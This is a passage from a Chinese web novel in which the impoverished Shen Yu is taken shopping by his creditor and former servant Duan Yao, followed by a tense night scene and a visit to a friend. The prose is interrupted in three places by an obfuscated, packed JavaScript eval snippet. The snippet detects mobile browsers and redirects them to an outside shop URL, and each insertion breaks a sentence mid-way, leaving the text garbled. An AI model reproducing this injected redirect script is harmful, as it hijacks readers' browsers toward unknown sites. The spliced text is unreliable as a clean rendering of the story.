“小少爷,如果你学会了做饭,那容姨每天该干什么呢?”容姨一脸忧心忡忡道,“万一段先生觉得家里不需要我了,转手就把我辞退了,那我们才刚团圆就又要分开了。” 沈玉一想,表情也严肃起来:“你放心吧容姨,只要我还在这里一天,我就肯定不能让你被辞退。” 为了留下容姨,他只好暂且放下成为大厨的雄心壮志。 周六早上,沈玉一觉睡到八点多才醒过来。 这两年他经常一天打三份工,昼夜颠倒是常有的事,作息十分混乱,睡眠质量也很差,没想到自从来了段尧这里,每天晚上都睡得不省人事,早上也醒得越来越迟了。 果然人要养成早睡早起的好习惯很难,堕落起来却不要太容易。 沈玉洗漱好下楼时,难得看见段尧人还在家里。 他坐在餐桌旁,晨光中的侧脸线条凌厉,依旧是一身毫无褶皱的深色衬衫和西裤,一只手端了杯咖啡,另一只拿着iPad在看什么东西。 沈玉走过去打招呼:“早上好。” 段尧抬眸看向他,微微皱了下眉:“你没有别的衣服了吗?” 沈玉上身穿了件不知道洗过多少次的白色T恤,领口松松垮垮的,下半身穿的牛仔裤也很旧,膝盖处被水洗得发白了,裤脚处还起了毛边。 这身衣服从他搬进来时就在穿,穿了洗洗了换,穿来穿去就这么两三套差不多的旧衣服。 沈玉低头看了眼自己:“这身衣服怎么了?” 段尧没回答他的问题,眼神重新看向自己手里的iPad。 沈玉想了一下,忽然明白过来对方是在嫌弃他穿的廉价,忍不住回道:“我觉得这衣服挺好啊,二十九块九包邮还要什么自行车?” 段尧:“……” 吃完早餐后他去书房忙工作,一直到吃午饭的时间才重新下楼。 面对面用完午餐,段尧冷不丁开口道:“吃完饭,跟我出去一趟。” 沈玉怔了怔,面露惊喜之色:“我可以出门了吗?” 这几天他一直想回出租屋整理一下东西,但怕惹得段尧不高兴都没敢提。 “我说,跟我一起,出去一趟。”段尧很慢地重复了一遍,“听懂了吗?” “哦。”沈玉缓慢地眨了下眼睛,“那你要带我去哪里呢,是有什么事吗?” 段尧没理他,摆明了没有解释的义务。 但沈玉觉得能出门还是很值得开心的一件事,哪怕身旁坐着一尊冰山。 一路无言,直到迈巴赫停在一栋高端商场楼下。 沈玉透过玻璃车窗看见面前这个有些眼熟的商场,愣了愣,很快就想起来一桩往事。 这个商场见证了他第一次给段尧买衣服的全过程,那时候的他完全不懂得顾忌少年人的自尊心,很不高兴对方不愿意接受自己的好意,最后闹得不欢而散。 “下车。”段尧开口打断他的思绪,率先下了车。 沈玉回过神来,跟着走进商场。 商场里的大理石地面光可鉴人,空气中漂浮着淡淡的香氛味道,两边店铺橱窗里陈列着大牌当季新款,每一件都贵得吓人。 曾经沈玉买东西从来不看价格也不需要看价格,毕竟哪怕是要天上的星星,也会有人想法设法给他摘下来。 但自从变成穷人后他养成了一个习惯,每看到什么东西的价格都要和自己做兼职的工资进行对比,这里最简单的一件白T,至少都需要他累死累活干一个月。 “进去。”段尧停在一家男装店前,示意他进去。 沈玉犹豫了一下,还是迈开脚步走进去。 妆容精致的导购迎上前来,目光越过他看向他身后的段尧:“先生您好,请问有什么可以帮到您的吗?” 沈玉没说话,段尧言简意赅道:“给他搭几身衣服。” “好的,先生。”导购目光在两人之间转了一圈,对沈玉露出标准的笑容,“这位先生的身材很好,我们店里刚到了一批最新款夏装,非常适合这位先生。” 直到这会儿,沈玉心里的猜想终于得到证实,唇角不易察觉地扬了扬。 段尧还真是要将自己经历过的一切都尽数还给他,甚至连带来商场买衣服这种戏码都要原样回敬给他。 段尧希望他会有什么反应呢,是期待他也会觉得自己被羞辱了吗? 不,他才不会呢。 想到这里,沈玉也朝导购露出一个好看的笑容:“你好,麻烦把这里最贵的衣服都拿来给我试试。” 导购愣了一下,面上的笑容更加灿烂起来:“好的,两位先生请在沙发区稍坐片刻。” 沈玉报了自己的尺码,没过一会儿,导购就推着挂得满满当当的衣架走过来,各种款式的T恤、衬衫、外套、裤子,几乎把他能穿的都拿了个遍。 段尧坐在对面的沙发上,随手拿了本杂志在看,面前摆着导购端上来的当季水果和茶水点心,表情淡得像是在喝下午茶:“都试试。” 沈玉知道这是把段总当成冤大头了,但他并没有表现出一丝异常,拿着搭好的一套休闲衣服走进试衣间。 白色短袖叠穿浅蓝色衬衫,搭配米白色休闲裤,衣服面料轻薄又软,穿在身上带着丝丝凉感,即便是叠穿也不显闷热厚重。 换好衣服,沈玉走出试衣间,站在镜子前。 一旁的导购立刻赞叹道:“这位先生,您真是天生的衣架子,这套衣服穿在您身上简直太合适了!” 其实导购的话倒也没夸张,沈玉身高一米八一,肩平腰细腿长,身体比例极佳,再加上一张脸长得跟明星似的,穿一身旧T恤牛仔裤也会让人怀疑是不是哪个大牌最近又在走破烂风。 “谢谢。”沈玉回以礼貌的微笑,转身面对段尧,“你觉得呢,daddy?” 段尧眉心一跳:“你叫我什么?” 沈玉没好意思再重复一遍,只是转了一圈给他看:“怎么样,到底好不好看嘛?” 这是他们重逢后,沈玉第一次用这样近乎撒娇的口吻说话,尾音拖长了黏黏糊糊的,听得段尧太阳穴“突突”跳了两下。 旁边导购脸上的表情变得相当精彩,眼珠子在两人之间又转了一圈,竭尽全力才能保持职业素养,压制住燃烧起来的八卦之心。 虽然两位看起来年纪相仿,颜值也相当,但一位一身高端定制西装价值不菲,另一位却是廉价寒酸的学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393094|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打扮,一看就不是一个阶层的人。 如果是sugar daddy和?baby的关系,倒也完全能解释得通。 只是她干了这么久的SA,从来没见过这么年轻英俊的sugar daddy,真是打着灯笼都难找。 “开玩笑的,其实段先生是我亲哥哥啦。”沈玉见段尧的表情像是不高兴,转脸又跟导购满嘴跑火车,“你觉得我跟我哥长得像吗?” “啊啊啊?”导购人都傻了,回过神来赶紧睁眼说瞎话,“哦哦像!两位长得很像的,颜值都非常高!” 沈玉弯起唇角,却发现段尧的脸色好像变得更冷了几分。 段尧没再看他,只是对导购说:“这套留下,裤子腰围收一寸。” 沈玉下意识低头看了眼自己的腰,腰围好像确实稍稍松了一点。 没想到段尧眼睛这么毒,只看了他一眼就看出裤子尺码不对。 沈玉又钻回试衣间,继续试下一套。 来来回回换了七八套,基本试一套留一套,导购笑得眼睛都眯成了一条缝。 其实沈玉换装换得已经有点累了,但是段总还没发话,他只能打起精神继续试下去。 “这套呢,怎么样?”他又换了套新衣服,站在镜子前,这次没转过身去。 段尧正在用手机回复消息,闻声抬眸,两人的视线在镜子里相撞。 段尧的目光从那张漂亮的小脸往下移到领口处,停留了好几秒。 导购给沈玉搭了条细细的锁骨链,银质项链落在精致好看的锁骨上,那里现在不仅有一颗小小的红痣,还有他们重逢时的第一夜,他亲口留下的牙印,此刻全都大喇喇地暴露在他的视线里。 段尧忽地移开眼神:“这件不留。” “为什么?”沈玉看向镜子里的自己,又侧身看了两眼,“我觉得挺好看啊。” 镜子里的人穿了件白色镂空衬衫,领口开到胸口处,胸前一大片皮肤白得晃眼,一把细腰藏在镂空的蕾丝花纹布料下若隐若现。 沈玉是很漂亮的长相,穿这一身衣服显得很纯,又散发出一股慵懒性感的气息,完全令人移不开眼,店里还有两位买衣服的客人,都忍不住频频朝他看过来。 段尧几乎是一字一顿地重复了一遍:“换、下、来。” 沈玉和他对视一眼,认怂了:“好,我现在就去换。” 没办法,人在屋檐下不得不低头,更何况这是他的债主,今天兼任金主爸爸。 沈玉又换了两套衣服,实在换不动了,段尧终于站起身来:“行了。” 导购把选好的衣服和配饰全部打包起来,除了沈玉身上穿的这套,另外装了十几只袋子。 沈玉注意到自己刚才换下的那件白色镂空衬衫也在,开口提醒道:“你好,这件衣服不要的。” “段先生说要的呀。”导购又确认了一遍,“段先生,我没记错吧?” 段尧应了声:“嗯。” “哎?”沈玉有些奇怪,“你刚才不是说我穿这件衣服不好看吗,怎么突然又改变主意了?” 段尧反问道:“我有说不好看?” 沈玉认真回想了一下,用肯定的语气回道:“你说这件不留。” 当时叫他换下来的那个态度,差点让他以为自己穿这件衣服有多辣眼睛呢。 段尧若无其事地收回视线:“我改变主意了。” 沈玉:“......” 真是男人心,海底针呐。 8. 第 8 章 导购核算完全部衣服的价格,笑着请示道:“段先生,请问您是刷卡还是现金支付呢?” 段尧惜字如金:“刷卡。” 导购根本控制不住嘴角咧向耳后根:“好的段先生,这就帮您刷卡。” 看着段总面无表情地刷卡,沈玉忍不住偷偷在心里想,这么一大笔巨款,要是能直接转进他口袋多好。 当然他也只能是在心里想想,段总不让他赔协议里的两千万就算是做好事了。 刷完卡,沈玉还没来得及问买这么多衣服他要怎么拎回去,门外忽然进来两个黑衣保镖,一人几大袋子就全给拎走了。 沈玉:“......” 不好意思,穷人当久了,都忘了有钱人大部分时候是不需要自己亲自动手的。 沈玉以为买完衣服就可以打道回府了,结果段尧转身又带他进了一家品牌鞋店。 他低头看了眼自己脚上洗得发白的杂牌甚至可能是盗版的运动鞋,确实与他刚换的这一身衣服一点也不相配。 就像现在的他和段尧一样,完全是两个世界的人。 导购是个很有眼力见的年轻男人,热情地给沈玉推荐了几款店里的限量款。 沈玉挑了一双蓝白色低帮板鞋,坐在换鞋凳上,弯腰脱掉脚上穿的帆布鞋,换上新鞋。 他有点庆幸自己今早出门换了双新袜子,他那九块九五双包邮的袜子实在太容易起球了。 导购在一旁问道:“怎么样先生,这双鞋穿着还合脚吗?” 沈玉穿着新鞋站起来,在地上踩了两下,又对着镜子看了两眼:“挺好的。” 他已经很久没穿过脚感这么好的新鞋了,要是穿这双鞋去端盘子,就算站很久脚应该也不会很痛。 沈玉重新坐到矮凳子上准备脱下鞋,段尧忽然走到他面前蹲了下来。 沈玉吓了一跳:“干嘛?” 段尧没理会他的一惊一乍,伸出手指按了按他的鞋尖,然后对导购说:“有点顶脚,这双鞋要大半码。” “好的,先生。”导购连忙应声,“我马上去拿大半码的鞋过来,请两位稍等一下。” 沈玉藏在鞋里的脚趾蜷缩了一下,小声说道:“其实就这个码也行的。” “鞋子穿在脚上合不合适,你自己知道。”段尧抬眸看着他,语气淡淡道,“穿着脚疼,扔了心疼,不如一开始就别买。” 沈玉垂下视线,眼睫颤了颤,伸手脱下脚上小了半码的鞋子。 他觉得段尧这是在说曾经的他,明知道喜欢的人不喜欢自己,偏偏要强求。 导购动作非常麻利,很快沈玉就穿上了大半码的新鞋,走路果然更舒服了。 试鞋比试衣服快很多,没一会儿两个保镖又拎上了满手的鞋袋子。 下一个地点是......男士内衣店? 沈玉站在店门口,浑身细胞写满了拒绝:“内衣就不用了吧?” “你以前的那些内|裤都松了。”段尧语气平平,像是只在陈述一个事实,“换新的吧。” 沈玉脸颊一热,脱口而出道:“你怎么知道的?” 段尧没回答他的问题,只是将目光往下移了一点。 沈玉瞬间想起刚被抓回别墅的那天早上,他被段尧扒了睡裤按在腿上狠狠打了一顿屁股的事。 他的脸变得更红了点,也不知是羞的还是气的。 段尧眸底掠过一丝很浅的笑意,又迅速消失:“还是说,你要我帮你挑?” “不不不用了!”沈玉拒绝三连,率先推开店门,“我自己挑。” 这个内衣牌子也是他以前常穿的,段尧贴身伺候了他三年,知道也不奇怪。 沈玉进店后,迅速挑了几件内|裤,也没管什么款式,打算速战速决。 结账的时候,段尧手里拿了两件浅蓝色丝质睡衣,看起来很轻薄很软。 “家里有睡衣,不用买了。”沈玉提醒道,“上次你给我拿了一套。” 段尧似乎是被什么取悦到了,语气难得不那么冷冰冰的,甚至堪称温和:“家里那套睡衣你穿大了点,换两套合身的。” 导购笑眯眯地把睡衣叠好,边放进袋子里边夸赞道:“是呀睡衣一定要穿合身的,这位先生真的很细心呢。” 两人走出男士内衣店,沈玉悄悄松了一口气。 他以为这次买买买的行程终于可以结束了,结果车没开回别墅,反而停在了一栋老洋房前。 门面不大不小,没有招牌和大logo,只在门牌号旁刻了一个精致的徽记。 沈玉下车时脚步一顿,这回是真不想进去了。 这家店他以前算是常客,那时候他全身上下穿的不是大牌就是手工定制款,每次裁缝师傅给他量尺寸时都会说一句,小少爷以后肯定是个衣架子。 ”怎么?”段尧回过身看他。 沈玉试图劝他回去:“我们刚才在商场买的衣服已经够多了,不用再定制了吧?” “有些衣服只适合定制,你比我更清楚,不是吗?”段尧推开厚重的木门,语气不容拒绝道,“进来。” 沈玉知道自己如今没有选择的权利,只好跟着走进去。 店里的陈设几乎没有变过,还是他记忆中的样子,一位头发花白的老师傅从里间走出来:“段先生,您来了。” 老师傅打了声招呼,目光越过段尧,落在沈玉身上停留了两秒,神色如常:“沈小少爷,好久不见了。” 沈玉笑了下:“好久不见,没想到梁师傅还记得我。” “我当然记得。”梁师傅看着他的眼神慈爱温和,“小少爷是天生的衣架子,很难不令人印象深刻。” 沈玉觉得对方应该知道沈家发生了什么事,毕竟当年那件事也算是轰动一时。 但老爷子对他的态度一如既往,既不过分迎合,也没有任何鄙夷。 段尧接过话:“梁师傅,今天来是想给他做几身衣服。” 梁师傅也没有多问:“两位进来坐吧,先喝杯茶。” 店里的小徒弟麻利地泡了两杯热茶端上来,沈玉端了其中一杯坐在沙发上。 段尧坐在他对面,一只手闲适地搭在沙发上,语气不急不缓:“西装四套,两套西服套装,两套休闲西装,日常穿的衬衫和裤子各三套,再做两件大衣,面料颜色版型看他自己喜欢。” 沈玉:“……” 且不说以他现在的身份有没有适合穿西装的场合,现在可是夏天,定制大衣什么的听起来都好热啊。 梁师傅在本子上记录了几笔,站起身来:“小少爷,我先给你量个尺寸。” 沈玉无奈地站到镜子前,梁师傅拿着软尺,从他的肩宽开始量,量完把数字报给一旁的徒弟记录下来。 报着报着,段尧的眉头皱了起来。 梁师傅也忍不住开口问道:“小少爷,你有点太瘦了,是不是吃饭不怎么好?” “还好啊,我最近吃得挺多的。”沈玉笑着回道,“您还不知道吗,我从小就是干吃不胖的体质。” “吃也是有讲究的。”梁师傅摇了摇头,“不仅要吃还要吃得好,你这小身板得好好养养。” 一旁的段尧应了声:“嗯,我记下了。” 沈玉:“......” 不是,段尧还真准备把他养肥了再杀啊? 等梁师傅各个数据都量得差不多了,段尧突然开口补充道:“梁师傅,衬衫领口不要做得太高,他脖子敏感,高了不舒服。” 沈玉微微一怔,透过镜子看向坐在沙发上的人。 段尧像是没有察觉,继续跟梁师傅说:“衬衫全部用袖扣,袖箍他戴不惯,嫌硌得慌。” 梁师傅拉起沈玉的手腕,点头应道:“手腕确实很细,长点肉就不硌手了。” 沈玉像只人形bjd一样任由摆弄,心底涌起一股说不出的复杂情绪。 他不知道是该夸段尧这人太注重细节,还是记性太好,已经过去五年了,居然连他对衣服挑剔的小细节都记得清清楚楚。 “好了。”梁师傅收起软尺,“小少爷,现在来选面料和款式吧。” 沈玉是老主顾,梁师傅还记得他的喜好,给他推了几款他可能喜欢的样式,所以敲定得很快,又约定好来取衣服的时间。 段尧刷卡时眼皮子都没眨一下,就好像只是随手买了件什么小玩意儿。 * 两人走出店门时,天色已经黑透了,沈玉也是真的精疲力竭了。 他以为段尧会就近找一家餐厅,先把晚饭给解决了,没想到最后还是回家去吃晚饭。 容姨烧了一大桌子色香味俱全的菜,全都是沈玉爱吃的。 沈玉逛了一下午,体力消耗得厉害,肚子很饿了,一上桌就埋头苦吃起来。 他吃得香,但胃口并不大,没一会儿就吃得有点撑着了,容姨还在用公筷往他碗里夹菜:“小少爷,多吃点肉。” 沈玉抬手摸了摸微微鼓起来的小肚子,像只吃饱了就亮出肚皮的小猫:“我不行了,容姨,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393095|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的吃不下了。” 坐在对面的段尧看着他的动作,开口说道:“容姨,别让他吃了,吃多了容易积食。” “段先生说的是。”容姨这才作罢,“小少爷你吃完别急着睡,先消消食。” 吃完晚餐,沈玉上楼去了,段尧等容姨收拾好厨房,把人单独叫到客厅。 容姨站在他面前问道:“段先生有什么吩咐吗?” 段尧坐在沙发上:“明天开始,会有一名专业的营养师过来。” 容姨一听就慌了:“段先生,我是不是有哪里做的不好,您直说,我都能改进的!” “你误会了,容姨。”段尧起身解释道,“我是让营养师来帮助你工作的,不是要辞退你。” 容姨这才放下心来:“那就好,那就好……” 楼上卧室里,沈玉看着房间里堆满的大大小小的包装袋,撸起袖子开始整理。 他先把衣服一件件挂到衣帽间的玻璃衣柜里,连吊牌都没摘,鞋盒也没拆,直接塞进底下的柜子里。 他琢磨着万一哪天段尧玩够了,把他赶出去了,他还能把这些全新的衣服鞋子挂到闲鱼上去,卖个不错的价钱。 假如到那时候,段尧允许他把这些东西带走的话。 沈玉全部归类整理好后,看着满柜子的新衣服新鞋子,不由陷入沉思。 如果说今天带他去商场买名牌衣服,是因为段尧嫌他穿的太破烂了,带出门就是丢段总的人,那么带他去做定制衣服又是什么意思呢? 还有那些他自己都没注意到的小细节,究竟是习惯使然还是...... 沈玉举起双手,用力拍了拍自己的脸颊。 别心存幻想了,清醒一点沈玉! 段尧让你签的那份协议还不足以说明他的目的吗?他只是想让你也切身感受一下他当年的处境,或许是看你如今太过落魄,才会偶尔升起一点施舍之心。 沈玉叹了口气,甩开脑子里的胡思乱想,顺手解开衬衫纽扣脱下来,准备先去洗个澡。 他走进卫生间,正要关上门,却被一只凭空出现的大手拦住了。 沈玉看见玻璃门后的那张脸,愣了愣:“怎么了,有什么事吗?” 段尧没回答他,抬脚踏进卫生间里。 沈玉只穿了件白色薄背心,凸起的锁骨将背心肩带支棱起来,领口开得很低。 卫生间灯光雪亮,打在半透的背心上,不仅能看见腰线的轮廓,甚至连胸前的小红点也能看个清清楚楚。 段尧重新将视线挪回他脸上,然后往前走了一步。 客卧自带的独立卫浴并不大,两个大男人站在卫生间里,空间就显得有些逼仄了。 沈玉下意识往后退,屁股撞上冰凉的洗手台:“段尧,我要洗澡了,你能不能出——” “下午买衣服时,你在店里叫我什么?”段尧打断了他的话,声音压得很低,震得他骨膜都有些发麻。 “我.......”沈玉没想到他还记着这个小插曲,否认道,“我没叫什么呀。” 段尧又往他面前逼近一步:“需要我帮你回忆吗?” 两人之间的距离太近了,近到身体几乎快要贴在一起。 沈玉嗅到了他身上的木质茶香,依旧带着淡淡的烟草味,有丝丝苦涩,但混合起来却意外地好闻。 他一时头脑发晕,竟当真又重复了一遍:“daddy?” 段尧眯了下眼眸,眸色很沉:“沈玉,你知道叫daddy是要付出代价的吗?” “我、我只是叫顺口了,没别的意思。”沈玉耳朵尖悄悄红了,试图辩解,“其实是因为我爸以前老带我去买衣服,我叫习惯了,嘴一快就……” 好吧其实他爸根本就没带他买过衣服,从小到大他爸都在忙着搞事业,压根就没空陪他,所以内心总觉得愧对他,就试图在其他方面弥补他,也养成了他唯我独尊的坏性子。 下午在商场试衣服时,他只是随口调侃段尧的行为像是包养小男孩的sugar daddy。 那会儿店里全是人,段尧不能拿他怎么样,可这会儿谁也救不了他,他当然不能承认。 “是吗?”段尧的目光慢慢往下扫,扫过雪白的脖颈,扫过漂亮的锁骨,扫过背心领口下隐隐约约泄露的风光,“你也算英区留学生,需要我教你father和daddy的区别吗?” 他只是这样用目光注视着,甚至都没碰沈玉一根手指头,可沈玉却觉得自己整个人都要烧起来了。 9. 第 9 章 “段尧......”沈玉实在受不了这道有如实质般的目光,求饶似地叫他的名字,“对不起,我错了,我以后再也不乱喊了。” 段尧望着那双水汪汪的眼睛,在灯光下像是含了盈盈泪光。 他咬了咬后槽牙,困在心底牢笼里的那头野兽又开始撕扯,叫嚣着要破坏要占有。 “笃笃”两声,房门突然被敲响了,紧接着门外传来一道模糊的声音:“小少爷,睡了吗?” 沈玉眼睛睁圆了些,抬手去推堵在面前的人:“容姨来了,你先出去!” 他的手一抵上段尧的胸膛,明显能感受到手心下的胸肌瞬间变硬了,又触电般缩了回去。 段尧眸色变幻了几番,再度开口时,声音哑了几分:“下次再敢在外面乱叫,试试。” 沈玉连忙摇头:“绝对不乱叫了。” 段尧眼神牢牢钉在他脸上:“还有,不许跟别人说我是你亲哥。” 沈玉又连连点头,举起一只手放在耳朵边,小猫敬礼似的:“我发誓,我绝对不会再乱认亲了。” 段尧看着他的小动作,突然垂下头顿了好几秒。 这时,门外再度传来敲门声。 沈玉舔了舔干涩的嘴唇,小声说道:“再不出去,容姨该怀疑什么了……” 段尧重新抬眸,看着他往后退了两步,然后一句话没说,转身就走了。 沈玉浑身力气一松,坐在洗手台上缓了好几秒,才起身看向镜子。 镜子里的人脸是红的,耳朵是红的,脖子和胸口也红红的,露出来的每一寸皮肤都像是被泼上了红色染料。 长大的段尧带给他的压迫感实在太强了,刚才他差点喘不过气来。 只是这人未免太小气了点,不让叫daddy就算了,怎么连哥哥也不让叫? 看来段尧是真的不想跟他扯上一丁点关系,除了债主和欠债人以外的任何关系。 想到这里,沈玉脸上的热意迅速消褪了下去。 卧室门外,容姨看见来开门的是段尧,有些惊讶:“段先生,您怎么在小少爷房里?” “找他说点事。”段尧走出房间,“已经说完了,你进去吧容姨。” “好的,段先生早点休息。”容姨没多想,端着杯子走进房里,“小少爷?” 沈玉从卫生间里走出来,已经穿好了衬衫,神色也恢复如常:“容姨,有什么事吗?” “小少爷你晚上不是吃撑了,容姨给你弄了杯山楂水,促进消化。”容姨将手里的杯子放到桌子上,“你等会儿喝完再睡。” “谢谢容姨,我现在就来喝。”沈玉走到桌子前,拿起杯子慢慢喝了起来。 容姨看着他喝水,随口问了句:“对了,我看见段先生从你房间走出去,是有什么事情吗?” 沈玉眼前闪过刚才在卫生间里的一幕,差点被水呛到:“咳咳……” 容姨赶紧抬手拍拍他的背:“慢点小少爷,慢点喝。” “没什么事,就是随便聊聊。”沈玉用手背擦了一下唇角溢出的水,“我喝不下了容姨,你也早点回房休息吧。” * 第二天早上,沈玉起床后磨磨蹭蹭地不想下楼。 容姨特意上楼来喊他:“小少爷,段先生要出差了,你不下去送送他吗?” “出差?”沈玉从床上爬起来,“我下去看看。” 他下楼时,段尧正站在玄关处换鞋,听见动静回头看了他一眼。 “你要出差吗?”沈玉礼貌性问了句,“要去几天啊?” “四天。”段尧语气平平地回道,“下周三回来。” “好的。”沈玉心下一松,表面还是给足了情绪价值,“希望段先生一切顺利,早点回来。” 段尧停下动作,看着他:“你希望我早点回来?” “当然不——”沈玉紧急刹车,试图组织语言,“不是,我的意思是,如果工作顺利提前结束,你就能回来好好休息了。” 段尧没再说什么,临走前又提醒道:“别忘了我们的协议。” “放心吧。”沈玉拍着胸脯保证道,“有事出门一定提前打报告。” 段尧走的第一天,沈玉觉得自己在别墅里的生活没有任何变化,该吃吃该喝喝,就是睡觉好像没那么香了。 第二天上午,沈玉决定出一趟门,回自己的出租屋拿剩下的东西,顺便约徐茂见面聊聊。 说干就干,他马上给段尧发了条微信:【段总,我申请回出租屋收拾点东西。】 这是他俩加上微信后的第一句对话,乍一看还真挺像老板和员工的对话。 他以为段尧出差应该很忙,不知道要过多久才会回消息,结果还没来得及退出对话框,聊天界面就弹出了回复。 段尧:【好。】 虽然只有一个字,但算得上是秒回。 沈玉弯了弯唇角,心道原来段总手机瘾也挺大的,出差呢手机也不离手。 出租屋跟别墅的方向南辕北辙,沈玉坐了一个多小时地铁,才回到熟悉的老小区。 楼道里的感应灯还是坏的没人修,发灰的墙壁贴满的小广告也没人撕,他边爬楼边在心里想,这里的环境跟段尧的别墅差太多了。 难怪有句话叫由俭入奢易,由奢入俭难。 沈玉一口气爬上了五楼,掏出钥匙打开门。 只是离开了一个多星期,房间里就布满了灰尘。 沈玉先开窗通风,然后打开衣柜,将里面挂着的几件旧衣服取下来,塞进书包里。 随后他又从底下的柜子翻出几样东西,一本旧书,一本旧相册,还有一个精致的密码锁盒子,通通都塞进包里。 整理完后,沈玉打电话叫上门收垃圾的大叔把剩下的零碎东西都收走,将钥匙留在书桌上,最后看了眼这个小小的出租屋,锁上门离开了。 吃完午饭后他还不想回去,就在附近找了家咖啡厅,给徐茂发消息:【我在酒吧附近,有没有空出来唠会儿?】 徐茂秒回:【地址。】 沈玉发了个定位,然后点了杯最便宜的咖啡,又给徐茂点了杯拿铁,坐着等他来。 不一会儿,咖啡店门上挂的铃铛响了。 沈玉回头笑了下:“你来啦,茂茂。” 徐茂坐到他对面的位置,仔细打量他两眼:“还好,你看起来过得还不错。” 沈玉抬手摸了下脸颊:“我长胖了?” “不是,就是气色更好了。”徐茂目光往下移到他穿的衬衫上,“你这身衣服哪儿来的?” 沈玉端起咖啡喝了一口,嫌苦又放下了:“我正要跟你说呢,我找到新工作了,是在一个有钱人家里当男保姆。” 他没有完全说实话,倒不是觉得丢脸或是不信任朋友,只是他短短二十几年的人生太跌宕起伏了,常人根本无法想象,他也不知该从何说起。 “当保姆?”徐茂愣了一下,“你怎么想到去当男保姆了?” 沈玉笑着回道:“在酒吧当服务员服务的是一群顾客,而男保姆是定向服务一个有钱人,其实没什么区别的。” 徐茂沉默了片刻,开口解释道:“我倒不是觉得当保姆有什么不好,只不过有钱人大多脾气都很怪,我怕你吃亏。” “你放心,我是各方面都了解清楚才去干的。”沈玉尽挑好处说,“雇主人挺好的,包吃包住,还有免费的名牌衣服捡着穿。” 就是没工资,还有倒贴两千万的风险。 “行,你想好了就行。”徐茂往后靠在椅背上,“反正酒吧确实不适合你,早点离开是对的。” 沈玉岔开话题:“别说我了,你呢,最近怎么样?” “还是老样子。”徐茂皱了皱眉,“就是我妹中考完了,说不想继续读了要出来打工,被我骂了一顿,现在正跟我闹着别扭。” “不上学怎么行呢?”沈玉也不同意,“这样,你先哄哄妹妹,学费和生活费的事我们再一起想办法。” 徐茂看着他笑道:“你自己的学费还没凑齐呢,就别操心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393096|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的事了。” “我的学费已经解决了。”沈玉微一挑眉,“你忘了我刚找到一份高薪工作?” “那不也最多干一两个月,开学就得上学去了。”徐茂喝了口拿铁,“没事,车到山前必有路,我不会由着我妹乱来的。” 两人聊了一下午,从咖啡馆出来时天已经黑了。 正好徐茂今天休息一天,两人干脆去附近夜市找了家路边摊,边吃边继续聊。 吃得差不多了,沈玉拿出手机想看看时间,才发现手机不知什么时候没电关机了。 他这部手机买的时候就很便宜,用了好几年,电池掉电特别快,今天出门前还忘了充满电,会关机也不奇怪。 沈玉用徐茂的手机扫了个充电宝,刚打开手机就看见好几个未接电话,心里咯噔一下。 徐茂探头看了眼:“段总?你老板?” “对……”沈玉心底涌起一股不太妙的预感,“茂茂,我给我老板回个电话。” 他走到旁边安静点的地方,拨通段尧的号码。 电话铃声刚响了一下就接通了,对面传来一道熟悉的声音:“你在哪里?” 声音听起来貌似还算冷静,但沈玉莫名听出了一股咬牙切齿的意味来。 他求生欲极强地回道:“我给你发过消息了,我今天回出租屋拿东西,你也同意了。” 段尧在电话那头问道:“你给我发消息是上午十点零九分,现在几点?” 沈玉:“晚上八点十分……” “整整十个小时,信息不回电话不接。”段尧停顿了几秒,呼吸声有些重,像是在压抑着什么,“我才离开了一天,沈玉。” 沈玉道歉:“对不起,我没注意手机没电——” 段尧打断了他的话:“你现在人在哪里?” “我在酒吧附近的夜市吃东西。”沈玉老老实实地回道,“但我马上就准备回去了。” “等着。”段尧丢下了两个字,就挂断了电话。 沈玉以为这是让他等着接受惩罚的意思,伸出手指头用力戳了戳手机屏幕:“都怪你,不争气的破手机。” 但一想到这手机陪他很久了,又舍不得扔掉,更何况买新手机要一大笔钱。 沈玉叹了口气,回到路边摊位前:“茂茂,今天就到这里吧,我得回去了。” 徐茂站起身来:“怎么了,你老板催你回去工作?” “差不多吧。”沈玉模棱两可地回了句,主动去跟小摊老板结了账。 两人一起往路边走,徐茂掏出手机:“小玉,这顿我们还是AA吧。” “别A了,下回你再请我。”沈玉轻轻撞了他一下,“还是说,你不打算跟我一起玩了?” “怎么会?”徐茂笑了起来,“我还怕你时间一长就忘了我呢。” 沈玉停下脚步,认真回道:“不会的茂茂,你是我这几年唯一的朋友。” 徐茂望着那双亮晶晶的眼睛,忍不住抬手揉了揉他的头发:“算你有良心。” “滴”的一声,身后突然响起一声鸣笛。 沈玉吓了一跳,刚想说谁这么没素质呢,一回头就看到了一辆熟悉的迈巴赫。 